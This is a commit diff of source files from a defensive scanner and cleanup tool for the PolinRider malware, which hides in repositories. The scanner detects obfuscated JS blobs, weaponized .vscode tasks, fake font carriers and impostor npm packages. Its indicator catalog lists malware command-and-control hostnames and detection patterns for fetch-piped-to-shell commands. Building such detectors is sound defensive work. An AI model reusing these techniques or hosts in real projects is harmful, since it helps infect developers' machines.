/** Repo-root-relative, forward-slashed URI (SARIF artifactLocation). */
function uriFor(repoRoot, repoDir, relFile) {
const abs = path.join(repoDir || repoRoot, relFile);
const rel = path.relative(repoRoot || repoDir, abs) || relFile;
return rel.split(path.sep).join("/");
}
/**
* @param {import('./scanner.js').Findings} findings
* @param {{ repoRoot?: string, repoDir?: string }} [opts]
*/
export function buildSarif(findings, opts = {}) {
const root = opts.repoRoot || opts.repoDir || findings.repoDir;
const dir = opts.repoDir || findings.repoDir || root;
const rules = new Map();
const results = findings.findings.map((f) => {
if (!rules.has(f.id)) {
rules.set(f.id, {
id: f.id,
name: f.id,
shortDescription: { text: `PolinRider ${f.category} artifact` },
fullDescription: { text: f.description },
defaultConfiguration: { level: levelOf(f) },
helpUri: PROJECT_URL,
properties: { tags: ["security", "malware", "polinrider", f.category] },
});
}
return {
ruleId: f.id,
level: levelOf(f),
message: { text: f.description },
locations: [
{
physicalLocation: {
artifactLocation: { uri: uriFor(root, dir, f.file) },
region: { startLine: lineFor(dir, f) },
},
},
],
properties: {
confidence: f.confidence,
contentConfirmed: f.contentConfirmed,
action: f.action,
},
};
});
return {
$schema: "https://json.schemastore.org/sarif-2.1.0.json",
version: "2.1.0",
runs: [
{
tool: {
driver: {
name: "polinrider-cleanup",
informationUri: PROJECT_URL,
rules: [...rules.values()],
},
},
results,
},
],
};
}
+528
View File
@@ -0,0 +1,528 @@
/**
* PolinRider detection. Produces a structured Findings report consumed by the
* remediator and the reporter. PURE with respect to the target repo: it only
* reads files (as inert text/bytes) and pattern-matches. It never executes
* target content, spawns processes, or makes network calls.
*
* Detection is CONTENT-CONFIRMED: a repo is marked `infected` only when a known
* signature / IOC actually matches. The mere co-presence of tasks.json +
* launch.json + public/fonts raises `coPresenceAmplified` (a reporting hint) but
* never, on its own, marks a repo infected or produces a removable finding.
*
* @typedef {Object} Finding
* @property {string} id
* @property {'js'|'vscode'|'font'|'package'|'artifact'|'gitignore'} category
* @property {string} file repo-relative path
* @property {'high'|'low'} confidence
* @property {'strip-js-payload'|'edit-vscode'|'delete-font'|'remove-font-set'|'remove-dir'|'remove-artifact'|'fix-gitignore'|'manual-review'} action
* @property {boolean} contentConfirmed true only when a known signature matched
* @property {string} description
* @property {Object} [edit] action parameters for the remediator
*
* @typedef {Object} Findings
* @property {string} repoDir
* @property {'clean'|'suspicious'|'infected'} severity
* @property {boolean} hasContentConfirmed
* @property {boolean} coPresenceAmplified
* @property {Finding[]} findings
* @property {string[]} manualReview
*/
import fs from "node:fs/promises";
import { existsSync } from "node:fs";
import path from "node:path";
import * as sig from "./signatures.js";
import { parseJsonc, getMember } from "./jsonc.js";
import { collectByExtension } from "./walk.js";
import { looksSuspicious, collectFontReferences, isReferenced } from "./fonts.js";
import { buildExcluder } from "./exclude.js";
/**
* Scan a single repository directory.
* @param {string} repoDir
* @param {{ exclude?: string[]|string }} [opts] paths/globs to skip (repo-relative).
* Useful so a repo can scan itself while ignoring files that legitimately
* contain signatures (e.g. this tool's own src/signatures.js + fixtures).
* @returns {Promise<Findings>}
*/
export async function scanRepo(repoDir, opts = {}) {
const findings = [];
const rel = (p) => path.relative(repoDir, p) || path.basename(p);
const matchExcluded = buildExcluder(opts.exclude);
const isExcluded = (abs) =>
matchExcluded(path.relative(repoDir, abs).split(path.sep).join("/"));
await detectJsPayloads(repoDir, findings, rel, isExcluded);
await detectVscode(repoDir, findings, rel, isExcluded);
await detectFonts(repoDir, findings, rel, isExcluded);
await detectPackageJson(repoDir, findings, isExcluded);
await detectArtifacts(repoDir, findings, isExcluded);
const coPresenceAmplified =
existsSync(path.join(repoDir, ".vscode", "tasks.json")) &&
existsSync(path.join(repoDir, ".vscode", "launch.json")) &&
sig.FONT_DIRS.some((d) => existsSync(path.join(repoDir, d)));
const hasContentConfirmed = findings.some((f) => f.contentConfirmed);
let severity = "clean";
if (hasContentConfirmed) severity = "infected";
else if (findings.length > 0 || coPresenceAmplified) severity = "suspicious";
const manualReview = findings
.filter((f) => f.action === "manual-review")
.map((f) => `${f.file}: ${f.description}`);
return { repoDir, severity, hasContentConfirmed, coPresenceAmplified, findings, manualReview };
}
// ─── JS payload (appended obfuscated blob) ──────────────────────────────────────
/** Find the byte offset where the appended payload begins, or -1. */
export function locatePayloadOffset(text, variant) {
let lastExport = -1;
const re = new RegExp(sig.EXPORT_MARKER_RE.source, "g");
let m;
while ((m = re.exec(text))) lastExport = m.index;
const from = lastExport >= 0 ? lastExport : 0;
const tailMatch = new RegExp(variant.startRe.source).exec(text.slice(from));
if (tailMatch) return from + tailMatch.index;
const anyMatch = new RegExp(variant.startRe.source).exec(text);
return anyMatch ? anyMatch.index : -1;
}
async function detectJsPayloads(repoDir, findings, rel, isExcluded) {
const files = await collectByExtension(repoDir, sig.JS_EXTENSIONS);
for (const file of files) {
if (isExcluded(file)) continue;
let text;
try {
text = await fs.readFile(file, "utf8");
} catch {
continue;
}
// 1. Known variants — content-confirmed via signature + a numeric seed.
let matchedKnown = false;
for (const variant of sig.JS_VARIANTS) {
const confirmed =
text.includes(variant.signature) && variant.seeds.some((s) => text.includes(s));
if (!confirmed) continue;
matchedKnown = true;
const offset = locatePayloadOffset(text, variant);
const canStrip = offset > 0;
findings.push({
id: `js.payload.${variant.id}`,
category: "js",
file: rel(file),
confidence: "high",
action: canStrip ? "strip-js-payload" : "manual-review",
contentConfirmed: true,
description: canStrip
? `${variant.label} appended at offset ${offset} — will strip from there to EOF`
: `${variant.label} detected but its start offset could not be located safely — strip manually`,
edit: canStrip ? { absPath: file, offset, variantId: variant.id } : undefined,
});
break; // one variant finding per file is enough
}
if (matchedKnown) continue;
// 2. Generic heuristic for UNKNOWN variants → manual review only, never auto-strip.
let lastExport = -1;
const re = new RegExp(sig.EXPORT_MARKER_RE.source, "g");
let m;
while ((m = re.exec(text))) lastExport = m.index;
const tail = lastExport >= 0 ? text.slice(lastExport) : text;
const h = sig.GENERIC_HEURISTIC;
if (h.globalAssignRe.test(tail) && h.obfArrayRe.test(tail) && h.evalRe.test(tail)) {
findings.push({
id: "js.payload.heuristic",
category: "js",
file: rel(file),
confidence: "low",
action: "manual-review",
contentConfirmed: false,
description:
"Obfuscated code appended after the last export (global[...] assignment + obfuscated array + eval). Possible unknown PolinRider variant — review manually.",
});
}
}
}
// ─── .vscode task / launch weaponization ────────────────────────────────────────
/** Decide whether one task/launch entry is malicious. */
export function classifyVscodeEntry(entryValue) {
const hay = JSON.stringify(entryValue ?? "");
if (sig.isC2Host(hay)) return { bad: true, reason: "references a known PolinRider C2 host" };
if (sig.isFetchToShell(hay))
return { bad: true, reason: "fetches a remote script and pipes it to a shell" };
if (sig.commandExecutesAsset(hay))
return { bad: true, reason: "executes a font/asset file as code (e.g. `node ./public/fonts/…`)" };
if (entryValue?.runOptions?.runOn === "folderOpen") {
if (sig.ANY_URL_RE.test(hay))
return { bad: true, reason: "auto-runs on folderOpen and contacts an external URL" };
if (sig.INTERPRETER_RE.test(hay))
return { bad: true, reason: "auto-runs a script interpreter on folderOpen" };
}
return { bad: false };
}
async function detectVscode(repoDir, findings, rel, isExcluded) {
const vscodeDir = path.join(repoDir, ".vscode");
if (!existsSync(vscodeDir) || isExcluded(vscodeDir)) return;
const targets = [
{ name: "tasks.json", arrayKey: "tasks" },
{ name: "launch.json", arrayKey: "configurations" },
];
const reasons = new Set();
for (const { name, arrayKey } of targets) {
const file = path.join(vscodeDir, name);
if (!existsSync(file) || isExcluded(file)) continue;
let text;
try {
text = await fs.readFile(file, "utf8");
} catch {
continue;
}
const parsed = parseJsonc(text);
if (!parsed.ok) {
// Can't parse → fall back to scanning the raw text for malicious markers.
if (sig.isC2Host(text) || sig.isFetchToShell(text) || sig.commandExecutesAsset(text)) {
reasons.add(`malicious content in ${name}`);
}
continue;
}
const arr = Array.isArray(parsed.value?.[arrayKey]) ? parsed.value[arrayKey] : [];
for (const entry of arr) {
const c = classifyVscodeEntry(entry);
if (c.bad) reasons.add(`${name}: ${c.reason}`);
}
}
if (reasons.size === 0) return;
// Policy: any malicious .vscode entry → remove the entire .vscode directory.
findings.push({
id: "vscode.malicious",
category: "vscode",
file: ".vscode",
confidence: "high",
action: "remove-dir",
contentConfirmed: true,
description: `Malicious .vscode configuration (${[...reasons].join("; ")}) — removing the entire .vscode directory`,
edit: { absPath: vscodeDir },
});
}
// ─── Font payload carriers ───────────────────────────────────────────────────────
/** Map a font file to the fonts directory that should be removed wholesale, or null. */
export function fontDirToRemove(repoDir, fontAbsPath) {
const parts = path.relative(repoDir, fontAbsPath).split(path.sep);
const idx = parts.lastIndexOf("fonts");
if (idx >= 0) return path.join(repoDir, ...parts.slice(0, idx + 1)); // .../fonts
return null; // not inside a fonts/ dir → caller falls back to deleting the file
}
async function detectFonts(repoDir, findings, rel, isExcluded) {
const fontFiles = await collectByExtension(repoDir, sig.FONT_EXTENSIONS);
if (fontFiles.length === 0) return;
const haystack = await collectFontReferences(repoDir);
// Group fonts by their leaf `fonts/` dir. A dir is tracked when it holds either a
// suspicious font OR a Font-Awesome-named font (the malware's disguise names).
const groups = new Map(); // absDir → { confirmed:[], suspect:[] }
const orphans = []; // suspicious/fa fonts with no fonts/ ancestor
const ensureGroup = (dir) => {
if (!groups.has(dir)) groups.set(dir, { confirmed: [], suspect: [] });
return groups.get(dir);
};
for (const file of fontFiles) {
if (isExcluded(file)) continue;
const isFa = sig.isFaFamilyName(path.basename(file));
let susp;
try {
susp = looksSuspicious(await fs.readFile(file), path.extname(file));
} catch {
continue;
}
const referenced = isReferenced(haystack, file);
const isCarrier = susp.bad && susp.hasCodeStrings; // not a valid font + code payload
const dir = fontDirToRemove(repoDir, file);
// Referenced fonts are wired into the build, so they are never auto-deleted.
// But "referenced" is not a clean bill of health: a referenced file that is
// NOT a valid font yet carries a code payload is a carrier hiding in plain
// sight → surface it for manual review rather than silently trusting it.
if (referenced) {
if (isCarrier) {
findings.push({
id: "font.referenced-carrier",
category: "font",
file: rel(file),
confidence: "high",
action: "manual-review",
contentConfirmed: false,
description: `Referenced file that is not a valid font but contains a code payload (${susp.reasons.join("; ")}). It is imported by the build, so it is not auto-removed — review and remove it manually.`,
});
}
// A referenced fa-named font still registers its dir so the disguise (medium)
// check fires, but it is never treated as a deletable carrier.
if (isFa && dir) ensureGroup(dir);
continue;
}
if (!susp.bad && !isFa) continue; // valid, inert, non-disguise, unreferenced → leave it
const entry = { file, reasons: susp.reasons };
if (dir) {
const g = ensureGroup(dir);
if (isCarrier) g.confirmed.push(entry);
else if (susp.bad) g.suspect.push(entry);
// (fa-named-but-valid fonts add nothing here; emit() re-discovers them by name)
} else if (isCarrier) {
orphans.push({ ...entry, kind: "carrier" });
} else if (susp.bad || isFa) {
orphans.push({ ...entry, kind: "review", isFa });
}
}
for (const [dir, group] of groups) {
await emitFontDirFinding(dir, group, findings, rel, isExcluded);
}
// Fonts outside any `fonts/` dir: a confirmed carrier is deleted on its own; a
// bare fa-named or unrecognized file is flagged for manual review only.
for (const o of orphans) {
if (o.kind === "carrier") {
findings.push({
id: "font.carrier",
category: "font",
file: rel(o.file),
confidence: "high",
action: "delete-font",
contentConfirmed: true,
description: `Unreferenced font carrier (JS payload): ${o.reasons.join("; ")}`,
edit: { absPath: o.file },
});
} else {
findings.push({
id: "font.review",
category: "font",
file: rel(o.file),
confidence: "low",
action: "manual-review",
contentConfirmed: false,
description: o.isFa
? "Font-Awesome-named font (a known PolinRider disguise) with no payload detected — review manually."
: `Unreferenced file that is not a valid font (${o.reasons.join("; ")}) — review manually.`,
});
}
}
}
/**
* List everything under `dir`. `allEntries` includes files, sub-directories AND
* symlinks (symlinks are recorded but never followed, matching the walker's safety
* guarantee); `regularFiles` are the real files only — the pool we may remove.
*/
async function listTree(dir) {
const allEntries = [];
const regularFiles = [];
const rec = async (d) => {
let entries;
try {
entries = await fs.readdir(d, { withFileTypes: true });
} catch {
return;
}
for (const ent of entries) {
const full = path.join(d, ent.name);
allEntries.push(full);
if (ent.isSymbolicLink()) continue; // counts as "present", but not followed or removed
if (ent.isDirectory()) await rec(full);
else if (ent.isFile()) regularFiles.push(full);
}
};
await rec(dir);
return { allEntries, regularFiles };
}
/**
* Decide what to remove for one `fonts/` directory that contains a suspicious or
* disguise-named font.
*
* - A confirmed carrier (unreferenced JS payload) makes the dir `infected`: remove
* the carrier(s) PLUS the whole `fa-*` disguise set PLUS README sidecars. If that
* set is the entire directory, remove the directory; otherwise remove just those
* files and keep the clean fonts.
* - No carrier but `fa-*` names present (or an unrecognized blob) → `suspicious`
* manual-review only; nothing is auto-removed.
*/
async function emitFontDirFinding(dir, group, findings, rel, isExcluded) {
// Enumerate the dir INCLUDING symlinks and sub-directory entries. `allEntries`
// is used only to decide "is anything here besides the removal set?" — a symlink
// or a sub-directory (e.g. a clean gill-sans/) must count so we never escalate to
// a whole-dir removal that would take a clean font with it. `regularFiles` is the
// pool of real files we may actually remove.
const { allEntries, regularFiles } = await listTree(dir);
const faAll = regularFiles.filter((f) => !isExcluded(f) && sig.isFaFamilyName(path.basename(f)));
if (group.confirmed.length > 0) {
const carrierReasons = [...new Set(group.confirmed.flatMap((e) => e.reasons))].join("; ");
// Scope the disguise sweep to the carrier's OWN directory: remove fa-* files and
// README sidecars that sit beside a carrier, never ones in a nested clean subdir.
const carrierDirs = new Set(group.confirmed.map((e) => path.dirname(e.file)));
const inScope = (f) => carrierDirs.has(path.dirname(f)) && !isExcluded(f);
const faFiles = faAll.filter(inScope);
const sidecars = regularFiles.filter((f) => inScope(f) && sig.isFontDropSidecar(path.basename(f)));
const removalAbs = new Set([...group.confirmed.map((e) => e.file), ...faFiles, ...sidecars]);
const remaining = allEntries.filter((f) => !removalAbs.has(f)); // anything clean to preserve
if (remaining.length === 0) {
findings.push({
id: "font.carrier-dir",
category: "font",
file: rel(dir),
confidence: "high",
action: "remove-dir",
contentConfirmed: true,
description: `Font carrier(s) found — removing the entire ${rel(dir)} directory (${carrierReasons})`,
edit: { absPath: dir },
});
} else {
const removals = [...removalAbs].map((abs) => ({ abs, rel: rel(abs) }));
findings.push({
id: "font.carrier-set",
category: "font",
file: rel(dir),
confidence: "high",
action: "remove-font-set",
contentConfirmed: true,
description:
`Font carrier(s) in ${rel(dir)} (${carrierReasons}) — removing ${removals.length} ` +
`malicious/disguise file(s): ${removals.map((r) => path.basename(r.rel)).join(", ")}. ` +
`Preserving ${remaining.length} clean entr${remaining.length === 1 ? "y" : "ies"}.`,
edit: { removals },
});
}
return;
}
// No confirmed carrier: fa-disguise names and/or an unrecognized blob → medium.
const bits = [];
if (faAll.length) {
bits.push(
`Font-Awesome-named font(s) present (${faAll.map((f) => path.basename(f)).join(", ")}) — a known PolinRider disguise`,
);
}
if (group.suspect.length) {
bits.push(`unrecognized non-font file(s): ${group.suspect.map((e) => path.basename(e.file)).join(", ")}`);
}
if (bits.length === 0) return;
findings.push({
id: "font.review",
category: "font",
file: rel(dir),
confidence: "low",
action: "manual-review",
contentConfirmed: false,
description: `${bits.join("; ")}. No payload detected — review manually to confirm these are legitimate.`,
});
}
// ─── package.json impostor deps / malicious lifecycle scripts ────────────────────
async function detectPackageJson(repoDir, findings, isExcluded) {
const file = path.join(repoDir, "package.json");
if (!existsSync(file) || isExcluded(file)) return;
let pkg;
try {
pkg = JSON.parse(await fs.readFile(file, "utf8"));
} catch {
return; // malformed package.json — out of scope here
}
const depSections = ["dependencies", "devDependencies", "optionalDependencies", "peerDependencies"];
const impostors = new Set();
for (const section of depSections) {
const deps = pkg[section];
if (!deps || typeof deps !== "object") continue;
for (const name of Object.keys(deps)) {
if (sig.IMPOSTOR_DEPS.includes(name)) impostors.add(name);
}
}
if (impostors.size > 0) {
findings.push({
id: "package.impostor-deps",
category: "package",
file: "package.json",
confidence: "high",
action: "manual-review",
contentConfirmed: true,
description: `Known PolinRider impostor dependenc${impostors.size === 1 ? "y" : "ies"}: ${[...impostors].join(", ")}. Remove the package(s) and audit lockfiles manually.`,
});
}
const scripts = pkg.scripts && typeof pkg.scripts === "object" ? pkg.scripts : {};
for (const hook of sig.SUSPICIOUS_LIFECYCLE_SCRIPTS) {
const cmd = scripts[hook];
if (typeof cmd === "string" && (sig.isFetchToShell(cmd) || /\bnode\b\s+-e\b/i.test(cmd))) {
findings.push({
id: `package.script.${hook}`,
category: "package",
file: "package.json",
confidence: "high",
action: "manual-review",
contentConfirmed: true,
description: `"${hook}" lifecycle script fetches and executes remote code: ${cmd}`,
});
}
}
}
// ─── Standalone artifacts + .gitignore injection ─────────────────────────────────
async function detectArtifacts(repoDir, findings, isExcluded) {
for (const name of sig.ARTIFACT_FILES) {
if (existsSync(path.join(repoDir, name)) && !isExcluded(path.join(repoDir, name))) {
findings.push({
id: `artifact.${name}`,
category: "artifact",
file: name,
confidence: "high",
action: "remove-artifact",
contentConfirmed: true,
description:
name === "config.bat"
? "Hidden malware orchestrator"
: "Malware propagation script",
edit: { absPath: path.join(repoDir, name) },
});
}
}
const gitignore = path.join(repoDir, ".gitignore");
if (existsSync(gitignore) && !isExcluded(gitignore)) {
try {
const lines = (await fs.readFile(gitignore, "utf8")).split(/\r?\n/).map((l) => l.trim());
const injected = sig.GITIGNORE_INJECTED.filter((p) => lines.includes(p));
if (injected.length) {
findings.push({
id: "gitignore.injected",
category: "gitignore",
file: ".gitignore",
confidence: "high",
action: "fix-gitignore",
contentConfirmed: true,
description: `malware-injected .gitignore entr${injected.length === 1 ? "y" : "ies"}: ${injected.join(", ")}`,
});
}
} catch {
/* ignore */
}
}
}
+258
View File
@@ -0,0 +1,258 @@
/**
* PolinRider indicator-of-compromise (IOC) catalog.
*
* This module is PURE DATA plus a few side-effect-free helpers. It performs
* NO file I/O, NO network access, and NEVER executes any string. Detection and
* remediation logic lives in scanner.js / remediator.js and consumes these.
*
* Update this file as the malware rotates its signatures — it is the single
* source of truth that scanner, remediator, and the tests all read from.
*/
// ─── JS payload variants ──────────────────────────────────────────────────────
//
// PolinRider appends one obfuscated blob to the END of a file, after the last
// legitimate `export default` / `module.exports`. A variant is "content
// confirmed" only when its unique `signature` AND at least one of its numeric
// `seeds` are present — never on a bare `global[...]` substring (which appears
// in plenty of legitimate code). `startRe` locates the first byte of the
// appended blob so the remediator can strip exactly from there to EOF.
export const JS_VARIANTS = [
{
id: "original",
label: "PolinRider payload (original variant)",
confidence: "high",
signature: "rmcej%otb%", // appears as ("rmcej%otb%",2857687)
decoder: "_$_1e42",
seeds: ["2857687", "2667686"],
startRe: /global\s*\[\s*(['"])!\1\s*\]\s*=/,
},
{
id: "rotated",
label: "PolinRider payload (rotated variant)",
confidence: "high",
signature: "Cot%3t=shtP",
decoder: "MDy",
seeds: ["1111436", "3896884"],
startRe: /global\s*\[\s*(['"])_V\1\s*\]\s*=/,
},
];
// Marks the end of legitimate code; the payload is appended after the LAST one.
export const EXPORT_MARKER_RE = /(?:export\s+default|module\.exports)/g;
// Low-confidence heuristic for UNKNOWN future variants. When an obfuscated blob
// is appended after the exports, we flag it for MANUAL REVIEW only — never an
// automatic strip (avoids damaging legitimate-but-unusual code).
export const GENERIC_HEURISTIC = {
globalAssignRe: /global\s*\[\s*(['"]).{1,12}?\1\s*\]\s*=/,
obfArrayRe: /\bvar\s+_\$?_?[A-Za-z0-9$_]+\s*=\s*\[/, // e.g. var _$_1e42=[...]
evalRe: /\beval\s*\(/,
};
export const JS_EXTENSIONS = [".js", ".jsx", ".ts", ".tsx", ".mjs", ".cjs"];
// Config files PolinRider is documented to target. Used for labeling/priority;
// the scanner sweeps all JS/TS files regardless (content-confirmed = no FPs).
export const CONFIG_FILES = [
"postcss.config.mjs",
"postcss.config.js",
"tailwind.config.js",
"eslint.config.mjs",
"next.config.mjs",
"next.config.ts",
"babel.config.js",
"jest.config.js",
];
// ─── .vscode task/launch weaponization ─────────────────────────────────────────
//
// Malicious tasks fetch a remote script and pipe it to a shell, often auto-run
// via runOptions.runOn = "folderOpen". Legitimate tasks run LOCAL commands
// (npm run build, tsc, etc.) and are never flagged.
export const C2_HOSTS = [
"default-configuration.vercel.app",
"vscode-settings-bootstrap.vercel.app",
"vscode-settings-config.vercel.app",
"vscode-bootstrapper.vercel.app",
"vscode-load-config.vercel.app",
"260120.vercel.app",
];
// Broader patterns for sibling C2 domains in the same family.
export const C2_HOST_RES = [
/vscode-settings-[a-z0-9-]*\.vercel\.app/i,
/vscode-[a-z0-9-]*(?:config|bootstrap|loader?)[a-z0-9-]*\.vercel\.app/i,
];
// A remote fetch (downloads code from the network).
export const NET_FETCH_RES = [
/\bcurl\b/i,
/\bwget\b/i,
/\bInvoke-WebRequest\b/i,
/\biwr\b/i,
/\bNew-Object\s+Net\.WebClient/i,
/\bDownloadString\b/i,
];
// Piping/handing fetched bytes to an interpreter (executes downloaded code).
export const PIPE_SHELL_RES = [
/\|\s*(?:bash|sh|zsh|dash)\b/i,
/\b(?:bash|sh|zsh|dash)\s+-c\b/i,
/\bIEX\b/i, // PowerShell Invoke-Expression
/\bInvoke-Expression\b/i,
/\bnode\b\s+-e\b/i,
/\beval\b/i,
];
export const ANY_URL_RE = /https?:\/\/[^\s"'`)]+/i;
// A raw script interpreter (as opposed to a package-manager wrapper like npm).
export const INTERPRETER_RE =
/\b(?:node|deno|bun|python3?|ruby|php|osascript|bash|sh|zsh|dash|pwsh|powershell|cmd)\b/i;
// Running an interpreter against an asset/font path — never legitimate. This is
// the real PolinRider .vscode vector: a folderOpen task does `node ./public/fonts/x.woff2`.
export const ASSET_EXEC_RE =
/(?:public[\\/]+fonts|[\\/]fonts[\\/]|\bstatic[\\/]|\bassets[\\/])|\.(?:woff2?|ttf|eot|otf)\b/i;
// ─── Font payload carrier ──────────────────────────────────────────────────────
//
// A font dropped into public/fonts that no CSS/HTML/JS references AND whose
// bytes don't look like a real font (bad magic) or contain JS-like strings.
export const FONT_EXTENSIONS = [".woff2", ".woff", ".ttf", ".otf", ".eot", ".ttc"];
// First 4 bytes of a legitimate font file, keyed by format.
export const FONT_MAGIC = {
woff2: [0x77, 0x4f, 0x46, 0x32], // wOF2
woff: [0x77, 0x4f, 0x46, 0x46], // wOFF
otf: [0x4f, 0x54, 0x54, 0x4f], // OTTO
ttf: [0x00, 0x01, 0x00, 0x00],
ttc: [0x74, 0x74, 0x63, 0x66], // ttcf
true: [0x74, 0x72, 0x75, 0x65], // 'true' (legacy TrueType)
eot: null, // EOT has no single stable magic; treat presence-only
};
// Code-execution strings that should NEVER appear in a real font file. These are
// the signal that an unparseable "font" is actually an appended JS payload.
//
// NOTE: plain URLs and long base64-looking runs are deliberately NOT here — real
// fonts legitimately embed license/vendor URLs in their `name` table, and binary
// glyph data trivially produces long [A-Za-z0-9+/] runs. Both caused false
// positives on genuine fonts (e.g. commercial .otf files). Structural validation
// in fonts.js is the primary "is this a real font?" signal now; these strings only
// corroborate a file that already failed to parse as a font.
export const FONT_BADNESS_RES = [
/eval\s*\(/,
/global\s*\[/,
/require\s*\(/,
/child_process/,
/process\.(?:env|binding)/,
/function\s*\(/,
/\bnode\b\s+-e\b/,
];
// PolinRider disguises its font carrier under Font-Awesome filenames (the exact
// names real Font Awesome ships: fa-brands-400, fa-solid-900, fa-regular-400, …).
// Presence of these names is a disguise indicator; content (see fonts.js) decides
// whether a given file is an actual payload or just a legitimate Font Awesome font.
export const FA_FONT_NAME_RE =
/^fa-(?:brands|solid|regular|light|thin|duotone)-\d+\.(?:eot|svg|ttf|otf|woff2?)$/i;
// Files the malware drops alongside its font carrier that should go with it.
export const FONT_DROP_SIDECARS = ["readme.md"];
// Directories where the font-carrier variant is dropped.
export const FONT_DIRS = ["public/fonts", "static", "static/fonts", "assets/fonts", "src/assets/fonts"];
// File types that can reference a font via @font-face / url(...) / import.
export const FONT_REF_EXTENSIONS = [
".css",
".scss",
".sass",
".less",
".styl",
".html",
".htm",
".vue",
".svelte",
".js",
".jsx",
".ts",
".tsx",
".mjs",
".cjs",
".json",
];
// ─── package.json impostor dependencies ────────────────────────────────────────
export const IMPOSTOR_DEPS = [
"tailwindcss-style-animate",
"tailwind-mainanimation",
"tailwind-autoanimation",
];
// Lifecycle scripts that fetch + execute remote code during `npm install`.
export const SUSPICIOUS_LIFECYCLE_SCRIPTS = ["preinstall", "install", "postinstall"];
// ─── Standalone artifacts ───────────────────────────────────────────────────────
export const ARTIFACT_FILES = [
"temp_auto_push.bat",
"temp_interactive_push.bat",
"config.bat",
"branch_structure.json",
];
// Lines PolinRider injects into .gitignore to hide its own artifacts from git.
export const GITIGNORE_INJECTED = [
"config.bat",
"temp_auto_push.bat",
"temp_interactive_push.bat",
"branch_structure.json",
];
export const ENV_PATTERNS = [
".env",
".env.local",
".env.*.local",
".env.production",
".env.development",
];
// ─── Helpers (pure) ─────────────────────────────────────────────────────────────
/** True if `host` matches any known C2 host or family regex. */
export function isC2Host(text) {
if (typeof text !== "string") return false;
if (C2_HOSTS.some((h) => text.includes(h))) return true;
return C2_HOST_RES.some((re) => re.test(text));
}
/** True if `text` looks like a remote-fetch-piped-to-interpreter command. */
export function isFetchToShell(text) {
if (typeof text !== "string") return false;
const fetches = NET_FETCH_RES.some((re) => re.test(text)) || ANY_URL_RE.test(text);
const pipes = PIPE_SHELL_RES.some((re) => re.test(text));
return fetches && pipes;
}
/** True if `text` runs a script interpreter against a font/asset path (e.g. `node ./public/fonts/x.woff2`). */
export function commandExecutesAsset(text) {
if (typeof text !== "string") return false;
return INTERPRETER_RE.test(text) && ASSET_EXEC_RE.test(text);
}
/** True if `basename` matches the Font-Awesome family naming the malware disguises itself as. */
export function isFaFamilyName(basename) {
return typeof basename === "string" && FA_FONT_NAME_RE.test(basename);
}
/** True if `basename` is a sidecar file the malware drops with its font carrier (e.g. README.md). */
export function isFontDropSidecar(basename) {
return typeof basename === "string" && FONT_DROP_SIDECARS.includes(basename.toLowerCase());
}
+46
View File
@@ -0,0 +1,46 @@
/**
* Minimal recursive file walker shared by the scanner and font analysis.
*
* SAFETY: never follows symlinks — a malicious repo can't use a symlink to
* redirect our reads outside the cloned working tree. Reads nothing here; it
* only yields paths. Excludes .git and node_modules by default.
*/
import fs from "node:fs/promises";
import path from "node:path";
export const DEFAULT_EXCLUDE = new Set([".git", "node_modules"]);
/**
* Async-generate absolute file paths under `root`.
* @param {string} root
* @param {{ exclude?: Set<string> }} [opts]
*/
export async function* walkFiles(root, { exclude = DEFAULT_EXCLUDE } = {}) {
let entries;
try {
entries = await fs.readdir(root, { withFileTypes: true });
} catch {
return; // unreadable directory → yield nothing
}
for (const ent of entries) {
if (ent.isSymbolicLink()) continue;
const full = path.join(root, ent.name);
if (ent.isDirectory()) {
if (exclude.has(ent.name)) continue;
yield* walkFiles(full, { exclude });
} else if (ent.isFile()) {
yield full;
}
}
}
/** Collect paths whose extension is in `extensions` (lowercased, with dot). */
export async function collectByExtension(root, extensions, opts) {
const exts = new Set(extensions.map((e) => e.toLowerCase()));
const out = [];
for await (const file of walkFiles(root, opts)) {
if (exts.has(path.extname(file).toLowerCase())) out.push(file);
}
return out;
}
+19
View File
@@ -0,0 +1,19 @@
// Probe run in a child process so the safety guards don't pollute the main test
// runner. Importing safety.js installs the guards as a side effect. Exits 0 only
// if every escape hatch is blocked.
import "../src/safety.js";
import assert from "node:assert/strict";
import { createRequire } from "node:module";
const require = createRequire(import.meta.url);
assert.throws(() => globalThis.eval("1+1"), /disabled|disallow/i, "direct eval not blocked");
const indirect = eval;
assert.throws(() => indirect("1+1"), "indirect eval not blocked");
assert.throws(() => new Function("return 1"), "Function constructor not blocked");
assert.throws(() => function () {}.constructor("return 1"), "fn.constructor not blocked");
assert.throws(() => require("node:vm"), "require(node:vm) not blocked");
assert.throws(() => require("vm"), "require(vm) not blocked");
assert.throws(() => process.binding("spawn_sync"), "process.binding not blocked");
console.log("safety-probe OK");
+236
View File
@@ -0,0 +1,236 @@
/**
* Tests for the GitHub Action frontend (src/ci.js). Exercises input parsing,
* exit-code policy, reporting, and the SARIF builder against real fixtures.
* The git/gh-dependent paths (fix+commit, pr mode) are validated by the
* integration workflow, not here.
*/
import { test, after, beforeEach } from "node:test";
import assert from "node:assert/strict";
import fs from "node:fs";
import path from "node:path";
import { run, resolveSettings, failThreshold, buildSummary } from "../src/ci.js";
import { buildSarif } from "../src/sarif.js";
import { scanRepo } from "../src/scanner.js";
import {
makeRepo,
mkTmpDir,
cleanupAll,
LEGIT_CONFIG,
INFECTED_TASKS,
ORIGINAL_PAYLOAD,
GENERIC_PAYLOAD,
infectedConfig,
} from "./helpers.js";
after(cleanupAll);
// Every env key run() / resolveSettings() may read — cleared between tests so
// values can't leak across cases.
const MANAGED = [
"GITHUB_WORKSPACE", "GITHUB_OUTPUT", "GITHUB_STEP_SUMMARY", "GITHUB_EVENT_NAME",
"GITHUB_EVENT_PATH", "GITHUB_REPOSITORY", "GITHUB_REF_NAME",
"DRY_RUN", "AUTO_MERGE", "MERGE_METHOD", "BRANCH_PREFIX", "GH_TOKEN", "GITHUB_TOKEN", "SARIF_FILE",
];
function clearEnv() {
for (const k of Object.keys(process.env)) if (k.startsWith("INPUT_")) delete process.env[k];
for (const k of MANAGED) delete process.env[k];
}
beforeEach(clearEnv);
after(clearEnv);
/** Set INPUT_* env from a {name: value} map (GitHub Actions convention). */
function setInputs(inputs) {
for (const [k, v] of Object.entries(inputs)) {
process.env[`INPUT_${k.replace(/ /g, "_").toUpperCase()}`] = String(v);
}
}
/** Run the action against a workspace dir; returns { code, outputs, summary }. */
async function runAction(workspace, inputs = {}, extraEnv = {}) {
const io = mkTmpDir("ci-io-");
const outFile = path.join(io, "out");
const sumFile = path.join(io, "sum");
fs.writeFileSync(outFile, "");
fs.writeFileSync(sumFile, "");
process.env.GITHUB_WORKSPACE = workspace;
